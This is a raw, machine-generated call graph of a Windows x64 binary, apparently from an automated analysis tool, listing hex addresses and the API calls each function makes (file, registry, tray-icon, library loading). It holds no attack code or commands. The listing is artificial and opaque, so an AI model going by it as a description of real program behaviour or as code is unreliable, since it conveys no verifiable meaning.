94749->94757 94758 7ff787c0f972 94749->94758 94826 7ff787befddc 8 API calls 94750->94826 94754 7ff787b7d4cc 48 API calls 94751->94754 94759 7ff787c0f7b9 94754->94759 94755 7ff787c0f8e0 94825 7ff787b8f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94755->94825 94756 7ff787c0f90e 94827 7ff787befca8 8 API calls 94756->94827 94768 7ff787c0f9b4 94757->94768 94829 7ff787bdd1f8 99 API calls 94758->94829 94763 7ff787b7e330 4 API calls 94759->94763 94764 7ff787c0f7c5 94763->94764 94766 7ff787c0f806 GetSystemDirectoryW 94764->94766 94769 7ff787b7d4cc 48 API calls 94764->94769 94765 7ff787c0f926 94828 7ff787befafc 8 API calls ~SyncLockT 94765->94828 94771 7ff787b94c68 4 API calls 94766->94771 94774 7ff787c0fabe CloseHandle 94768->94774 94778 7ff787c0fa64 94768->94778 94772 7ff787c0f7e1 94769->94772 94770 7ff787c0f94f 94770->94749 94773 7ff787c0f830 GetSystemDirectoryW 94771->94773 94775 7ff787b7e330 4 API calls 94772->94775 94773->94741 94776 7ff787c0facc 94774->94776 94781 7ff787c0faf5 94774->94781 94779 7ff787c0f7ed 94775->94779 94830 7ff787bef7dc 94776->94830 94777 7ff787c0fafe 94787 7ff787c0faa3 94777->94787 94784 7ff787c0fa84 GetLastError 94778->94784 94779->94741 94779->94766 94781->94777 94783 7ff787c0fb26 CloseHandle 94781->94783 94783->94787 94784->94787 94814 7ff787bef51c 94787->94814 94792 7ff787b7d50b 94791->94792 94793 7ff787b7d4f2 94791->94793 94794 7ff787b7d53e 94792->94794 94795 7ff787b7d513 94792->94795 94810 7ff787b7e330 94793->94810 94797 7ff787bc9cc4 94794->94797 94799 7ff787b7d550 94794->94799 94805 7ff787bc9bbc 94794->94805 94835 7ff787b9956c 31 API calls 94795->94835 94838 7ff787b99538 31 API calls 94797->94838 94798 7ff787b7d522 94804 7ff787b7ec00 4 API calls 94798->94804 94836 7ff787b94834 46 API calls 94799->94836 94801 7ff787bc9cdc 94804->94793 94806 7ff787b94c68 4 API calls 94805->94806 94809 7ff787bc9c3e Concurrency::wait wcscpy 94805->94809 94807 7ff787bc9c0a 94806->94807 94808 7ff787b7ec00 4 API calls 94807->94808 94808->94809 94837 7ff787b94834 46 API calls 94809->94837 94811 7ff787b7e342 94810->94811 94812 7ff787b94c68 4 API calls 94811->94812 94813 7ff787b7e361 wcscpy 94812->94813 94813->94728 94815 7ff787bef7dc CloseHandle 94814->94815 94816 7ff787bef52a 94815->94816 94839 7ff787bef7b8 94816->94839 94819 7ff787bef7b8 ~SyncLockT CloseHandle 94820 7ff787bef53c 94819->94820 94821 7ff787bef7b8 ~SyncLockT CloseHandle 94820->94821 94822 7ff787bef545 94821->94822 94822->94502 94823->94748 94824->94755 94825->94744 94826->94756 94827->94765 94828->94770 94829->94768 94831 7ff787bef7b8 ~SyncLockT CloseHandle 94830->94831 94832 7ff787bef7ee 94831->94832 94833 7ff787bef7b8 ~SyncLockT CloseHandle 94832->94833 94834 7ff787bef7f7 94833->94834 94835->94798 94836->94798 94837->94797 94838->94801 94840 7ff787bef533 94839->94840 94841 7ff787bef7c9 CloseHandle 94839->94841 94840->94819 94841->94840 94843 7ff787b94c68 4 API calls 94842->94843 94844 7ff787b78363 94843->94844 94878 7ff787b78314 94844->94878 94847 7ff787b79640 4 API calls 94848 7ff787b78378 94847->94848 94849 7ff787b78314 CloseHandle 94848->94849 94850 7ff787b78380 94849->94850 94850->94596 94852 7ff787b78314 CloseHandle 94851->94852 94853 7ff787b7685a 94852->94853 94854 7ff787b7687d CreateFileW 94853->94854 94855 7ff787bbcaa8 94853->94855 94860 7ff787b768ab 94854->94860 94856 7ff787bbcaae CreateFileW 94855->94856 94863 7ff787b768d9 94855->94863 94857 7ff787bbcae6 94856->94857 94856->94860 94883 7ff787b76a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94857->94883 94859 7ff787bbcaf3 94859->94860 94866 7ff787b768e4 94860->94866 94881 7ff787b768f4 9 API calls 94860->94881 94862 7ff787b768c1 94862->94863 94882 7ff787b76a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94862->94882 94863->94866 94884 7ff787beb334 94863->94884 94866->94604 94866->94608 94868 7ff787b94c68 4 API calls 94867->94868 94869 7ff787b79663 94868->94869 94869->94592 94870->94603 94871->94607 94872->94613 94873->94621 94892 7ff787b782e4 94874->94892 94877->94614 94879 7ff787b7833d CloseHandle 94878->94879 94880 7ff787b7832a 94878->94880 94879->94880 94880->94847 94881->94862 94882->94863 94883->94859 94887 7ff787beb188 94884->94887 94888 7ff787beb193 94887->94888 94889 7ff787beb19c WriteFile 94887->94889 94891 7ff787beb208 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94888->94891 94889->94866 94891->94889 94893 7ff787b78314 CloseHandle 94892->94893 94894 7ff787b782f2 Concurrency::wait 94893->94894 94895 7ff787b78314 CloseHandle 94894->94895 94896 7ff787b78303 94895->94896 94898 7ff787beb42a 94897->94898 94899 7ff787beb3c8 94897->94899 94902 7ff787beb334 4 API calls 94898->94902 94900 7ff787beb3d0 94899->94900 94901 7ff787beb41e 94899->94901 94904 7ff787beb3f1 94900->94904 94905 7ff787beb3dd 94900->94905 94936 7ff787beb458 8 API calls 94901->94936 94914 7ff787beb410 Concurrency::wait 94902->94914 94934 7ff787b7a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94904->94934 94932 7ff787b7a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94905->94932 94908 7ff787beb3e2 94933 7ff787b94120 6 API calls 94908->94933 94909 7ff787beb3f6 94935 7ff787beb270 6 API calls 94909->94935 94912 7ff787beb3ef 94929 7ff787beb384 94912->94929 94914->94639 94916 7ff787b94c68 4 API calls 94915->94916 94917 7ff787b79918 94916->94917 94917->94647 94919 7ff787bbcd0c 94918->94919 94920 7ff787b7721c 94918->94920 94924 7ff787b94c68 4 API calls 94919->94924 94921 7ff787b77274 94920->94921 94925 7ff787bbcd66 memcpy_s 94920->94925 94937 7ff787b7b960 94921->94937 94923 7ff787b77283 memcpy_s 94923->94653 94924->94925 94926 7ff787b94c68 4 API calls 94925->94926 94927 7ff787bbcdda memcpy_s 94926->94927 94928->94633 94930 7ff787beb334 4 API calls 94929->94930 94931 7ff787beb399 94930->94931 94931->94914 94932->94908 94933->94912 94934->94909 94935->94912 94936->94914 94938 7ff787b7b981 94937->94938 94941 7ff787b7b976 memcpy_s 94937->94941 94939 7ff787bbef2a 94938->94939 94940 7ff787b94c68 4 API calls 94938->94940 94940->94941 94941->94923 94942->94672 94946 7ff787bec7c0 lstrlenW 94943->94946 94947 7ff787bec7dd GetFileAttributesW 94946->94947 94948 7ff787bebdf5 94946->94948 94947->94948 94949 7ff787bec7eb FindFirstFileW 94947->94949 94948->94698 94949->94948 94950 7ff787bec7ff FindClose 94949->94950 94950->94948 94951->94701 94952->94719 94953->94538 94954->94538 94955->94534 94956 7ff787b75dec 94957 7ff787b75df4 94956->94957 94958 7ff787b75e98 94957->94958 94959 7ff787b75e28 94957->94959 94981 7ff787b75e96 94957->94981 94961 7ff787b75e9e 94958->94961 94962 7ff787bbc229 94958->94962 94963 7ff787b75e35 94959->94963 94964 7ff787b75f21 PostQuitMessage 94959->94964 94960 7ff787b75e6b DefWindowProcW 94986 7ff787b75e7c 94960->94986 94965 7ff787b75ecc SetTimer RegisterWindowMessageW 94961->94965 94966 7ff787b75ea5 94961->94966 95012 7ff787b8ede4 8 API calls 94962->95012 94967 7ff787bbc2af 94963->94967 94968 7ff787b75e40 94963->94968 94964->94986 94973 7ff787b75efc CreatePopupMenu 94965->94973 94965->94986 94971 7ff787b75eae KillTimer 94966->94971 94972 7ff787bbc1b8 94966->94972 95024 7ff787bea40c 16 API calls memcpy_s 94967->95024 94974 7ff787b75f2b 94968->94974 94982 7ff787b75e49 94968->94982 94970 7ff787bbc255 95013 7ff787b92c44 47 API calls Concurrency::wait 94970->95013 94998 7ff787b75d88 94971->94998 94978 7ff787bbc1f7 MoveWindow 94972->94978 94979 7ff787bbc1bd 94972->94979 94973->94986 95002 7ff787b94610 94974->95002 94978->94986 94987 7ff787bbc1c2 94979->94987 94988 7ff787bbc1e4 SetFocus 94979->94988 94981->94960 94982->94981 94983 7ff787b75f0b 94982->94983 94984 7ff787b75e5f 94982->94984 95010 7ff787b75f3c 26 API calls memcpy_s 94983->95010 94984->94960 94995 7ff787b75d88 Shell_NotifyIconW 94984->94995 94985 7ff787bbc2c3 94985->94960 94985->94986 94987->94984 94991 7ff787bbc1cb 94987->94991 94988->94986 95011 7ff787b8ede4 8 API calls 94991->95011 94993 7ff787b75f1f 94993->94986 94996 7ff787bbc280 94995->94996 95014 7ff787b76258 94996->95014 94999 7ff787b75d99 memcpy_s 94998->94999 95000 7ff787b75de4 94998->95000 95001 7ff787b75db8 Shell_NotifyIconW 94999->95001 95009 7ff787b77098 DeleteObject DestroyWindow Concurrency::wait 95000->95009 95001->95000 95003 7ff787b946db 95002->95003 95004 7ff787b9461a memcpy_s 95002->95004 95003->94986 95025 7ff787b772c8 95004->95025 95006 7ff787b946a2 KillTimer SetTimer 95006->95003 95007 7ff787b94660 95007->95006 95008 7ff787bdaaa1 Shell_NotifyIconW 95007->95008 95008->95006 95009->94986 95010->94993 95011->94986 95012->94970 95013->94984 95015 7ff787b76287 memcpy_s 95014->95015 95069 7ff787b761c4 95015->95069 95018 7ff787b7632d 95020 7ff787b7634e Shell_NotifyIconW 95018->95020 95021 7ff787bbc644 Shell_NotifyIconW 95018->95021 95022 7ff787b772c8 6 API calls 95020->95022 95023 7ff787b76365 95022->95023 95023->94981 95024->94985 95026 7ff787b773bc Concurrency::wait 95025->95026 95027 7ff787b772f4 95025->95027 95026->95007 95028 7ff787b798e8 4 API calls 95027->95028 95029 7ff787b77303 95028->95029 95030 7ff787bbcdfc LoadStringW 95029->95030 95031 7ff787b77310 95029->95031 95033 7ff787bbce1e 95030->95033 95047 7ff787b77cf4 95031->95047 95035 7ff787b7e0a8 4 API calls 95033->95035 95034 7ff787b77324 95036 7ff787bbce30 95034->95036 95037 7ff787b77336 95034->95037 95043 7ff787b7734f memcpy_s wcscpy 95035->95043 95058 7ff787b77c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95036->95058 95037->95033 95038 7ff787b77343 95037->95038 95057 7ff787b77c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95038->95057 95041 7ff787bbce3c 95042 7ff787b771f8 4 API calls 95041->95042 95041->95043 95044 7ff787bbce63 95042->95044 95045 7ff787b773a3 Shell_NotifyIconW 95043->95045 95046 7ff787b771f8 4 API calls 95044->95046 95045->95026 95046->95043 95048 7ff787b77d0d 95047->95048 95049 7ff787bbd2c8 95047->95049 95052 7ff787b77d24 95048->95052 95055 7ff787b77d51 95048->95055 95060 7ff787b7dda4 95049->95060 95051 7ff787bbd2d3 95059 7ff787b77e4c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95052->95059 95054 7ff787b77d2f memcpy_s 95054->95034 95055->95051 95056 7ff787b94c68 4 API calls 95055->95056 95056->95054 95057->95043 95058->95041 95059->95054 95061 7ff787b7dda9 95060->95061 95063 7ff787b7ddc7 memcpy_s 95060->95063 95061->95063 95064 7ff787b7a7c0 95061->95064 95063->95051 95066 7ff787b7a7ed 95064->95066 95068 7ff787b7a7dd memcpy_s 95064->95068 95065 7ff787bbe7da 95066->95065 95067 7ff787b94c68 4 API calls 95066->95067 95067->95068 95068->95063 95070 7ff787bbc5f8 95069->95070 95071 7ff787b761e0 95069->95071 95070->95071 95072 7ff787bbc602 DestroyIcon 95070->95072 95071->95018 95073 7ff787bead94 39 API calls wcsftime 95071->95073 95072->95071 95073->95018 95074 7ff787bcf890 95083 7ff787b7e18c 95074->95083 95076 7ff787bcf8a9 95078 7ff787bcf915 Concurrency::wait 95076->95078 95089 7ff787b92ac0 CharUpperBuffW RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95076->95089 95080 7ff787bd03e1 Concurrency::wait 95078->95080 95091 7ff787bf34e4 77 API calls 3 library calls 95078->95091 95081 7ff787bcf8f6 95081->95078 95090 7ff787bf1464 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95081->95090 95084 7ff787b7e1a7 95083->95084 95085 7ff787b7e1c2 95083->95085 95092 7ff787b7ee20 5 API calls Concurrency::wait 95084->95092 95087 7ff787b7e1af 95085->95087 95093 7ff787b7ee20 5 API calls Concurrency::wait 95085->95093 95087->95076 95089->95081 95091->95080 95092->95087 95093->95087 95094 7ff787bcb221 95095 7ff787bcb22a 95094->95095 95102 7ff787b80378 95094->95102 95117 7ff787be47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95095->95117 95097 7ff787bcb241 95118 7ff787be4708 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95097->95118 95099 7ff787bcb264 95100 7ff787b83c20 300 API calls 95099->95100 95101 7ff787bcb292 95100->95101 95110 7ff787b80405 95101->95110 95119 7ff787c08d98 49 API calls Concurrency::wait 95101->95119 95111 7ff787b7f7b8 95102->95111 95105 7ff787bcb2d9 Concurrency::wait 95105->95102 95120 7ff787be47bc RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95105->95120 95106 7ff787b8070a 95109 7ff787b7e0a8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95109->95110 95110->95106 95110->95109 95121 7ff787b7ee20 5 API calls Concurrency::wait 95110->95121 95115 7ff787b7f7d5 95111->95115 95112 7ff787b7f7de 95112->95110 95113 7ff787b79640 4 API calls 95113->95115 95114 7ff787b7e0a8 4 API calls 95114->95115 95115->95112 95115->95113 95115->95114 95116 7ff787b7f7b8 4 API calls 95115->95116 95116->95115 95117->95097 95118->95099 95119->95105 95120->95105 95121->95110 95122 7ff787b82bf8 95125 7ff787b7ed44 95122->95125 95124 7ff787b82c05 95126 7ff787b7ed75 95125->95126 95129 7ff787b7edcd 95125->95129 95127 7ff787b83c20 300 API calls 95126->95127 95126->95129 95130 7ff787b7eda8 95127->95130 95132 7ff787b7edfe 95129->95132 95135 7ff787bf34e4 77 API calls 3 library calls 95129->95135 95130->95132 95134 7ff787b7ee20 5 API calls Concurrency::wait 95130->95134 95131 7ff787bca636 95132->95124 95134->95129 95135->95131 95136 7ff787baa2c4 95137 7ff787baa2d9 95136->95137 95138 7ff787baa2dd 95136->95138 95146 7ff787bb3e9c GetEnvironmentStringsW 95138->95146 95141 7ff787baa2ea 95143 7ff787bab3c0 __free_lconv_mon 15 API calls 95141->95143 95143->95137 95144 7ff787baa2f7 95145 7ff787bab3c0 __free_lconv_mon 15 API calls 95144->95145 95145->95141 95147 7ff787bb3ec0 95146->95147 95148 7ff787baa2e2 95146->95148 95154 7ff787bac51c 95147->95154 95148->95141 95153 7ff787baa428 31 API calls 3 library calls 95148->95153 95150 7ff787bb3ef2 memcpy_s 95151 7ff787bab3c0 __free_lconv_mon 15 API calls 95150->95151 95152 7ff787bb3f12 FreeEnvironmentStringsW 95151->95152 95152->95148 95153->95144 95155 7ff787bac567 95154->95155 95159 7ff787bac52b fread_s 95154->95159 95162 7ff787ba55d4 15 API calls _get_daylight 95155->95162 95156 7ff787bac54e HeapAlloc 95158 7ff787bac565 95156->95158 95156->95159 95158->95150 95159->95155 95159->95156 95161 7ff787b9925c EnterCriticalSection LeaveCriticalSection fread_s 95159->95161 95161->95159 95162->95158 95163 7ff787b82c17 95166 7ff787b814a0 95163->95166 95165 7ff787b82c2a 95167 7ff787b814d3 95166->95167 95168 7ff787bcbe31 95167->95168 95171 7ff787bcbdd1 95167->95171 95172 7ff787bcbdf2 95167->95172 95198 7ff787b814fa memcpy_s 95167->95198 95216 7ff787c08f48 300 API calls 3 library calls 95168->95216 95174 7ff787bcbddb 95171->95174 95171->95198 95173 7ff787bcbe19 95172->95173 95214 7ff787c09a88 300 API calls 4 library calls 95172->95214 95215 7ff787bf34e4 77 API calls 3 library calls 95173->95215 95213 7ff787c09514 300 API calls 95174->95213 95176 7ff787b81884 95202 7ff787b92130 45 API calls 95176->95202 95182 7ff787b81a30 45 API calls 95182->95198 95183 7ff787b81898 95183->95165 95190 7ff787b92130 45 API calls 95190->95198 95191 7ff787b81799 95200 7ff787b81815 95191->95200 95220 7ff787bf34e4 77 API calls 3 library calls 95191->95220 95192 7ff787bcbfe4 95219 7ff787c093a4 77 API calls 95192->95219 95194 7ff787b83c20 300 API calls 95194->95198 95196 7ff787b7e0a8 4 API calls 95196->95198 95198->95176 95198->95182 95198->95190 95198->95191 95198->95192 95198->95194 95198->95196 95198->95200 95201 7ff787b7ef9c 46 API calls 95198->95201 95203 7ff787b920d0 45 API calls 95198->95203 95204 7ff787b75af8 300 API calls 95198->95204 95205 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95198->95205 95206 7ff787b935c8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95198->95206 95207 7ff787b94f0c 95198->95207 95210 7ff787b950b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 95198->95210 95211 7ff787b936c4 77 API calls 95198->95211 95212 7ff787b937dc 300 API calls 95198->95212 95217 7ff787b7ee20 5 API calls Concurrency::wait 95198->95217 95218 7ff787bdac10 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95198->95218 95200->95165 95201->95198 95202->95183 95203->95198 95204->95198 95206->95198 95221 7ff787b94ebc 95207->95221 95209 7ff787b94f15 95209->95198 95211->95198 95212->95198 95213->95200 95214->95173 95215->95168 95216->95198 95217->95198 95218->95198 95219->95191 95220->95191 95222 7ff787b94eeb 95221->95222 95224 7ff787b94ee1 _onexit 95221->95224 95225 7ff787baab08 34 API calls _onexit 95222->95225 95224->95209 95225->95224 95226 7ff787b95328 95251 7ff787b94cac 95226->95251 95229 7ff787b95474 95285 7ff787b957e4 7 API calls 2 library calls 95229->95285 95230 7ff787b95344 95232 7ff787b9547e 95230->95232 95233 7ff787b95362 95230->95233 95286 7ff787b957e4 7 API calls 2 library calls 95232->95286 95243 7ff787b953a4 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 95233->95243 95257 7ff787baae1c 95233->95257 95237 7ff787b95387 95239 7ff787b95489 abort 95240 7ff787b9540d 95268 7ff787b95930 95240->95268 95242 7ff787b95412 95271 7ff787b73730 95242->95271 95243->95240 95282 7ff787b99204 35 API calls FindHandlerForForeignException 95243->95282 95248 7ff787b95435 95248->95239 95284 7ff787b94e90 8 API calls 2 library calls 95248->95284 95250 7ff787b9544c 95250->95237 95252 7ff787b94cce __scrt_initialize_crt 95251->95252 95287 7ff787b965ec 95252->95287 95254 7ff787b94cd3 __scrt_initialize_crt 95255 7ff787b94cd7 95254->95255 95295 7ff787b96620 8 API calls 3 library calls 95254->95295 95255->95229 95255->95230 95259 7ff787baae34 95257->95259 95258 7ff787b95383 95258->95237 95261 7ff787baada4 95258->95261 95259->95258 95320 7ff787b95244 95259->95320 95262 7ff787baadff 95261->95262 95263 7ff787baade0 95261->95263 95262->95243 95263->95262 95379 7ff787b710e8 95263->95379 95384 7ff787b71064 95263->95384 95389 7ff787b71080 95263->95389 95394 7ff787b71048 95263->95394 95588 7ff787b96240 95268->95588 95272 7ff787b737a3 95271->95272 95273 7ff787b73743 IsThemeActive 95271->95273 95283 7ff787b95974 GetModuleHandleW 95272->95283 95590 7ff787b992d0 95273->95590 95279 7ff787b7377d 95602 7ff787b737b0 95279->95602 95281 7ff787b73785 SystemParametersInfoW 95281->95272 95282->95240 95283->95248 95284->95250 95285->95232 95286->95239 95288 7ff787b965f5 __vcrt_initialize_winapi_thunks __vcrt_initialize 95287->95288 95296 7ff787b97290 95288->95296 95291 7ff787b96603 95291->95254 95293 7ff787b9660c 95293->95291 95303 7ff787b972d8 DeleteCriticalSection 95293->95303 95295->95255 95297 7ff787b97298 95296->95297 95299 7ff787b972c9 95297->95299 95300 7ff787b965ff 95297->95300 95304 7ff787b97614 95297->95304 95309 7ff787b972d8 DeleteCriticalSection 95299->95309 95300->95291 95302 7ff787b97218 8 API calls 3 library calls 95300->95302 95302->95293 95303->95291 95310 7ff787b97310 95304->95310 95307 7ff787b9765f InitializeCriticalSectionAndSpinCount 95308 7ff787b97654 95307->95308 95308->95297 95309->95300 95311 7ff787b97371 95310->95311 95312 7ff787b9736c try_get_function 95310->95312 95311->95307 95311->95308 95312->95311 95313 7ff787b973a0 LoadLibraryExW 95312->95313 95317 7ff787b97454 95312->95317 95318 7ff787b97439 FreeLibrary 95312->95318 95319 7ff787b973fb LoadLibraryExW 95312->95319 95313->95312 95315 7ff787b973c1 GetLastError 95313->95315 95314 7ff787b97462 GetProcAddress 95316 7ff787b97473 95314->95316 95315->95312 95316->95311 95317->95311 95317->95314 95318->95312 95319->95312 95321 7ff787b95254 95320->95321 95337 7ff787ba2584 95321->95337 95323 7ff787b95260 95343 7ff787b94cf8 95323->95343 95326 7ff787b95279 _RTC_Initialize 95328 7ff787b94f0c __scrt_initialize_thread_safe_statics 34 API calls 95326->95328 95335 7ff787b952ce 95326->95335 95327 7ff787b952fa __scrt_initialize_default_local_stdio_options 95327->95259 95329 7ff787b9528e 95328->95329 95348 7ff787baa09c 95329->95348 95333 7ff787b952a3 95334 7ff787baaebc 35 API calls 95333->95334 95334->95335 95336 7ff787b952ea 95335->95336 95371 7ff787b957e4 7 API calls 2 library calls 95335->95371 95336->95259 95338 7ff787ba2595 95337->95338 95341 7ff787ba259d 95338->95341 95372 7ff787ba55d4 15 API calls _get_daylight 95338->95372 95340 7ff787ba25ac 95373 7ff787bab164 31 API calls _invalid_parameter_noinfo 95340->95373 95341->95323 95344 7ff787b94d0d 95343->95344 95345 7ff787b94d16 __scrt_initialize_onexit_tables 95343->95345 95344->95345 95374 7ff787b957e4 7 API calls 2 library calls 95344->95374 95345->95326 95347 7ff787b94dcf 95349 7ff787baa0d0 GetModuleFileNameW 95348->95349 95350 7ff787baa0ba 95348->95350 95355 7ff787baa0fd 95349->95355 95375 7ff787ba55d4 15 API calls _get_daylight 95350->95375 95352 7ff787baa0bf 95376 7ff787bab164 31 API calls _invalid_parameter_noinfo 95352->95376 95354 7ff787b9529a 95354->95335 95370 7ff787b95ac4 InitializeSListHead 95354->95370 95377 7ff787baa038 15 API calls 2 library calls 95355->95377 95357 7ff787baa13d 95358 7ff787baa145 95357->95358 95360 7ff787baa156 95357->95360 95378 7ff787ba55d4 15 API calls _get_daylight 95358->95378 95362 7ff787baa1a2 95360->95362 95363 7ff787baa1bb 95360->95363 95367 7ff787baa14a 95360->95367 95361 7ff787bab3c0 __free_lconv_mon 15 API calls 95361->95354 95364 7ff787bab3c0 __free_lconv_mon 15 API calls 95362->95364 95365 7ff787bab3c0 __free_lconv_mon 15 API calls 95363->95365 95366 7ff787baa1ab 95364->95366 95365->95367 95368 7ff787bab3c0 __free_lconv_mon 15 API calls 95366->95368 95367->95361 95369 7ff787baa1b7 95368->95369 95369->95354 95371->95327 95372->95340 95373->95341 95374->95347 95375->95352 95376->95354 95377->95357 95378->95367 95399 7ff787b91d80 95379->95399 95382 7ff787b94ebc _onexit 34 API calls 95383 7ff787b94f15 95382->95383 95383->95263 95423 7ff787b77ec0 95384->95423 95386 7ff787b7106d 95387 7ff787b94ebc _onexit 34 API calls 95386->95387 95388 7ff787b94f15 95387->95388 95388->95263 95507 7ff787b77920 95389->95507 95391 7ff787b7109e 95392 7ff787b94ebc _onexit 34 API calls 95391->95392 95393 7ff787b94f15 95392->95393 95393->95263 95570 7ff787b77718 95394->95570 95397 7ff787b94ebc _onexit 34 API calls 95398 7ff787b94f15 95397->95398 95398->95263 95400 7ff787b79640 4 API calls 95399->95400 95401 7ff787b91db2 GetVersionExW 95400->95401 95402 7ff787b77cf4 4 API calls 95401->95402 95404 7ff787b91dfc 95402->95404 95403 7ff787b7dda4 4 API calls 95403->95404 95404->95403 95405 7ff787b91e87 95404->95405 95406 7ff787b7dda4 4 API calls 95405->95406 95410 7ff787b91ea4 95406->95410 95407 7ff787bd9645 95408 7ff787bd964f 95407->95408 95421 7ff787be32f4 LoadLibraryA GetProcAddress 95408->95421 95409 7ff787b91f3c GetCurrentProcess IsWow64Process 95411 7ff787b91f7e memcpy_s 95409->95411 95410->95407 95410->95409 95411->95408 95413 7ff787b91f86 GetSystemInfo 95411->95413 95415 7ff787b710f1 95413->95415 95414 7ff787bd96b1 95416 7ff787bd96b5 95414->95416 95417 7ff787bd96d7 GetSystemInfo 95414->95417 95415->95382 95422 7ff787be32f4 LoadLibraryA GetProcAddress 95416->95422 95419 7ff787bd96bf 95417->95419 95419->95415 95420 7ff787bd96f0 FreeLibrary 95419->95420 95420->95415 95421->95414 95422->95419 95459 7ff787b782b4 95423->95459 95426 7ff787b782b4 4 API calls 95427 7ff787b77f3a 95426->95427 95428 7ff787b79640 4 API calls 95427->95428 95429 7ff787b77f46 95428->95429 95430 7ff787b77cf4 4 API calls 95429->95430 95431 7ff787b77f59 95430->95431 95466 7ff787b92d5c 6 API calls 95431->95466 95433 7ff787b77fa5 95434 7ff787b79640 4 API calls 95433->95434 95435 7ff787b77fb1 95434->95435 95436 7ff787b79640 4 API calls 95435->95436 95437 7ff787b77fbd 95436->95437 95438 7ff787b79640 4 API calls 95437->95438 95439 7ff787b77fc9 95438->95439 95440 7ff787b79640 4 API calls 95439->95440 95441 7ff787b7800f 95440->95441 95442 7ff787b79640 4 API calls 95441->95442 95443 7ff787b780f7 95442->95443 95467 7ff787b8ef88 95443->95467 95445 7ff787b78103 95474 7ff787b8eec8 95445->95474 95447 7ff787b7812f 95448 7ff787b79640 4 API calls 95447->95448 95449 7ff787b7813b 95448->95449 95485 7ff787b86d40 95449->95485 95453 7ff787b781ac 95454 7ff787b781be GetStdHandle 95453->95454 95455 7ff787bbd350 95454->95455 95456 7ff787b78220 OleInitialize 95454->95456 95502 7ff787beffc8 CreateThread 95455->95502 95456->95386 95458 7ff787bbd367 CloseHandle 95460 7ff787b79640 4 API calls 95459->95460 95461 7ff787b782c6 95460->95461 95462 7ff787b79640 4 API calls 95461->95462 95463 7ff787b782cf 95462->95463 95464 7ff787b79640 4 API calls 95463->95464 95465 7ff787b77f2e 95464->95465 95465->95426 95466->95433 95468 7ff787b79640 4 API calls 95467->95468 95469 7ff787b8efa3 95468->95469 95470 7ff787b79640 4 API calls 95469->95470 95471 7ff787b8efac 95470->95471 95472 7ff787b79640 4 API calls 95471->95472 95473 7ff787b8f02e 95472->95473 95473->95445 95475 7ff787b8eede 95474->95475 95476 7ff787b79640 4 API calls 95475->95476 95477 7ff787b8eeea 95476->95477 95478 7ff787b79640 4 API calls 95477->95478 95479 7ff787b8eef6 95478->95479 95480 7ff787b79640 4 API calls 95479->95480 95481 7ff787b8ef02 95480->95481 95482 7ff787b79640 4 API calls 95481->95482 95483 7ff787b8ef0e 95482->95483 95484 7ff787b8ef68 RegisterWindowMessageW 95483->95484 95484->95447 95486 7ff787b86db9 95485->95486 95487 7ff787b86d80 95485->95487 95503 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95486->95503 95488 7ff787b7816b 95487->95488 95504 7ff787b95114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95487->95504 95495 7ff787b939a8 95488->95495 95496 7ff787bda502 95495->95496 95501 7ff787b939cc 95495->95501 95505 7ff787b7ee20 5 API calls Concurrency::wait 95496->95505 95498 7ff787bda50e 95506 7ff787b7ee20 5 API calls Concurrency::wait 95498->95506 95500 7ff787bda52d 95501->95453 95502->95458 95505->95498 95506->95500 95508 7ff787b77948 wcsftime 95507->95508 95509 7ff787b79640 4 API calls 95508->95509 95510 7ff787b77a02 95509->95510 95537 7ff787b75680 95510->95537 95512 7ff787b77a0c 95544 7ff787b93a38 95512->95544 95515 7ff787b771f8 4 API calls 95516 7ff787b77a2c 95515->95516 95550 7ff787b74680 95516->95550 95518 7ff787b77a3d 95519 7ff787b79640 4 API calls 95518->95519 95520 7ff787b77a47 95519->95520 95554 7ff787b7a854 95520->95554 95523 7ff787bbd05c RegQueryValueExW 95524 7ff787bbd131 RegCloseKey 95523->95524 95525 7ff787bbd08f 95523->95525 95527 7ff787b77a83 Concurrency::wait 95524->95527 95533 7ff787bbd147 wcscat Concurrency::wait 95524->95533 95526 7ff787b94c68 4 API calls 95525->95526 95528 7ff787bbd0b2 95526->95528 95527->95391 95529 7ff787bbd0bf RegQueryValueExW 95528->95529 95530 7ff787bbd0f3 95529->95530 95532 7ff787bbd112 95529->95532 95531 7ff787b77cf4 4 API calls 95530->95531 95531->95532 95532->95524 95533->95527 95534 7ff787b7ec00 4 API calls 95533->95534 95535 7ff787b74680 4 API calls 95533->95535 95536 7ff787b79d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95533->95536 95534->95533 95535->95533 95536->95533 95558 7ff787bb8f90 95537->95558 95540 7ff787b7ec00 4 API calls 95541 7ff787b756b4 95540->95541 95560 7ff787b756d4 95541->95560 95543 7ff787b756c1 Concurrency::wait 95543->95512 95545 7ff787bb8f90 wcsftime 95544->95545 95546 7ff787b93a44 GetFullPathNameW 95545->95546 95547 7ff787b93a74 95546->95547 95548 7ff787b77cf4 4 API calls 95547->95548 95549 7ff787b77a1b 95548->95549 95549->95515 95551 7ff787b7469f 95550->95551 95553 7ff787b746c8 memcpy_s 